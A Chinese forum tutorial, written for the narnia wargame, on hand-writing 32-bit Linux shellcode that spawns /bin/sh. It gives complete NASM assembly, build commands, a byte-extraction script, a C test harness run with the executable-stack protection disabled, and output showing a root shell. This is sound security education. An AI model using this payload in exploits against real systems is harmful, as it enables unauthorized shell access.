WarGame-narnia1-番外篇 shellcode的编写
2019-07-24 03:40:57 Author: bbs.pediy.com(查看原文) 阅读量:176 收藏

[原创]WarGame-narnia1-番外篇 shellcode的编写

6小时前 155

[原创]WarGame-narnia1-番外篇 shellcode的编写

这是narnia level1 的番外篇,在做这一题之前必须要了解shellcode的编写细节(如果不想自己写shellcode,也可以直接在Google或者MSF里找),在开始shellcode编写学习之前,请在自己的Linux系统里安装NASM,shellcode代码如下

Section .text

  global _start

_start:

  jmp short     callShellcode

shellcode:

  pop           esi				//将’/bin/sh’从栈中取出,放到esi里
  xor           eax, eax			//eax置为NULL
  mov byte      [esi + 7], al		//因为eax置空了,所以用al里的NULL来结束’/bin/sh’字符串
  lea           ebx, [esi]			//将’/bin/sh’字符串放入ebx中
  mov long      [esi + 8], ebx		
  lea           ecx, [esi + 8]		//这两步是把argv数组写入了ecx,如果没有这两步,就算程序获得了root权限,也不能执行命令,不信可以去掉试试
  mov long      [esi + 12], eax
  lea           edx, [esi + 12]		//这两步是把eax中的NULL写入了edx,得到root权限后执行的命令需要有NULL来结束(因为命令也算是字符串)
  mov byte      al, 0x0b			//最后这一步是执行execve,0x0b=11,是execve的系统调用号(可查)
  int           0x80				//最后必须用0x80结尾

callShellcode:

  Call          shellcode
  db            '/bin/sh'

保存到shellx.asm文件后,需要用NASM编译这个汇编程序,从而获得十六进制形式的代码,命令如下

 nasm  –f elf shellx.asm
 ld  –o shellx shellx.o  –m elf_i386

这里会得到一个shellx文件,但还不能执行,需要用objdump命令把十六进制代码取出,我写了个bash脚本,内容如下

for i in `objdump -d "$1" | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; 
do echo -n "\x$i" ;
done
echo -e "\n"

还需要写一个c程序来验证之前写的汇编代码是否有效,代码如下

Char code[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc, char **argv)
{
		int (*func)();
		func = (int (*)()) code;		//把code强转为返回值为int的函数指针,然后调用
		(int)(*func)();
}

编译时需要注意之前写的汇编是针对32位程序的,程序的保护也需要去掉,编译命令如下

gcc -g -o shellcodetest shellcodetest.c -m32 -z execstack

这是代码的运行结果

root@gavin:/home/gavin/shellCode_train# ./shellcodetest
# ls
exit.asm	 hello	    shellcodetest    shellx.asm
exit.o		 hello.asm  shellcodetest.c  shellx.o
getshellcode.sh  hello.o    shellx
# whoami
root
#

至此一个可以运行并能得到root的shellcode就编写完成了

小结

这个系列是面向小白的,包括wargame这个游戏也全都是面向小白的,大佬勿喷,附件是shellcode的源码、shellcode的测试用的C代码和截取shellcode的bash脚本

[公告]LV6级以上的看雪会员可以免费获得《2019安全开发者峰会》门票一张!!

上传的附件:
  • getshellcode.sh (0.12kb,2次下载)
  • shellcodetest.c (0.57kb,1次下载)
  • shellx.asm (0.42kb,1次下载)

文章来源: https://bbs.pediy.com/thread-252790.htm
如有侵权请联系:admin#unsafe.sh